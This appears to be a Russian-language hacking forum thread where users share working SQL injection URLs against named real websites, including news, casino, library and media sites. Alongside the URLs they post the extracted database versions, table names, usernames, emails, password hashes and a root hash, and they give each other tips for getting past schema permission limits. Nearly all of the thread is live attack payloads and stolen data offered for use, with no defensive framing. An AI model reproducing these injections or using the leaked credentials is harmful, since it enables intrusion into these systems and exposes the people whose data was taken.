tomsknews.com
4.1.22-log:wttomsknews@localhost:wttomsknews

foodmedia.ru
4.1.22:food3@localhost:food-media

admin:f6fdffe48c908deb0f4c3bd36c032e72:adminadmin

__________________
Не занимаюсь коммерцией в любых ее проявлениях.

http://cinema.variety.ru/actors.php?cid=1&aid=-1+union+select+1,2,3,concat_ws(0x2F,version(),data base(),user()),5,6,7,8,9,10,11,12,13/*

4.0.27-standard-log/variety_dvd/variety_dvd@localhost

-------------------------------------------------------------------

http://www.semenovsky.ru/?pageId=124&newsId=-1+union+select+1,2,3,concat_ws(0x2F,version(),data base(),user()),5,6,7,8,9,10,1,1,1,1,1,1,1,1,1,1,1, 1/*

5.0.44-log/semenovskiy/semenovskiy@localhost


http://www.semenovsky.ru/?pageId=124&newsId=-1+union+select+1,2,concat_ws(0x2F,table_name,colum n_name),4,5,6,7,8,9,10,1,1,1,1,1,1,1,1,1,1,1,1+fro m+information_schema.columns/*

доступ к information_schema

------------------------------------------------------------------

http://www.vremea.net/index.php?content=news&id=-1+union+select+1,2,concat_ws(0x2F,version(),databa se(),user()),4,5/*

4.0.27-standard/vremea_vremea/vremea@localhost
------------------------------------------------------------------

na-dosuge.dp.ua

http://www.na-dosuge.dp.ua/face/index.php3?t=-1+union+select+concat_ws(0x2F,version(),database() ,user())/*

5.0.27/price/dprice@localhost

http://www.na-dosuge.dp.ua/face/index.php3?t=-1+union+select+concat_ws(0x2F,name,pass,email)+fro m+_rat+limit+0,1/*

имя/пароль/мейл
prod/2503919/beliu_impex@mail.ru


http://www.na-dosuge.dp.ua/face/index.php3?t=-1+union+select+concat_ws(0x2F,customers_firstname, customers_password)+from+customers+limit+3,1/*

имя\хеш с солью


А это их казино

http://www.na-dosuge.dp.ua/face/index.php3?t=-1+union+select+concat_ws(0x2F,login,pass,wm)+from+ casino_uwed+limit+0,1/*

логин/пароль/WebMoney наверно кошелек

http://www.na-dosuge.dp.ua/face/index.php3?t=-1+union+select+concat_ws(0x2F,login,pass,wm)+from+casino_wm+limit+1,1/*

Эти таблицы пустые ))) (за исключением тестовых юзверей). Сайт сырой и казино будет попозже )

vsekiden.com - похоже на БТА - Болгарское Телевизионное Агенство5.0.32-Debian_7etch1-log:vsekiden:vsekiden@localhost

81 таблица:root:root:*CCBD21CD8E1C871D9C7F996760C867CC31F4830F

Интересные табы:

newvd_users,
cgp133_users,
cgp133_ecards

www.weltexpress.info5.0.24-DEBIAN_3-LOG:WELTEXPRESS:WELTEXPRESS@LOCALHOST

35 таблиц:Нашёл таблицу USER, посмотрел её схему: PHILBERL-1.USER и WELTEXPRESS.USER
Есть поля USER и PWD, но данные вывести не получилось... Требуется подсказка.
Ещё есть таблицы C_USERS и KALASCHNIKOW. В последней из них есть любопытные поля:
UNIXDATA, PASSWORD, BN_NAME...
Но с выводом данных - проблема.

Проблема от того, что бажная пага коннектится от юзера Weltexpress, а найденные тобой табы принадлежат другим юзерам... Вот и не получается организовать вывод, т.к. в схеме твоего пользователя этих таб нету.

fRg, вот смотри - при инъекции иногда полезно бывает просматривать поле table_schema, чтобы видеть в какой схеме находится интересующая нас таблица, иначе, как в твоём случае, есть шанс, что текущему пользователю не хватит прав на доступ к ней. Вот пример:

Он выводит:

Легко убедиться, что наш юзер это WELTEXPRESS, а таблица WISSENSCHAFT_KALASCHNIKOW находится в схеме пользователя PHILBERL-1.

не смог найти имена колонок)

там таблицы такой нет, ты from забыл

lib.uci.edu
http://www.lib.uci.edu/partners/index.php?page=eresearch
в поле Premium access:
SYSTEM_USER: PartnersPublic
DB_NAME: partners
version: Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 1)

User: PartnersPublic
hash:fd6df34ee4e7642c02ced6012028f6b8

__________________
Не занимаюсь коммерцией в любых ее проявлениях.

Там только таблица forum есть с полями (data, id,ip,mail) больше не нашёл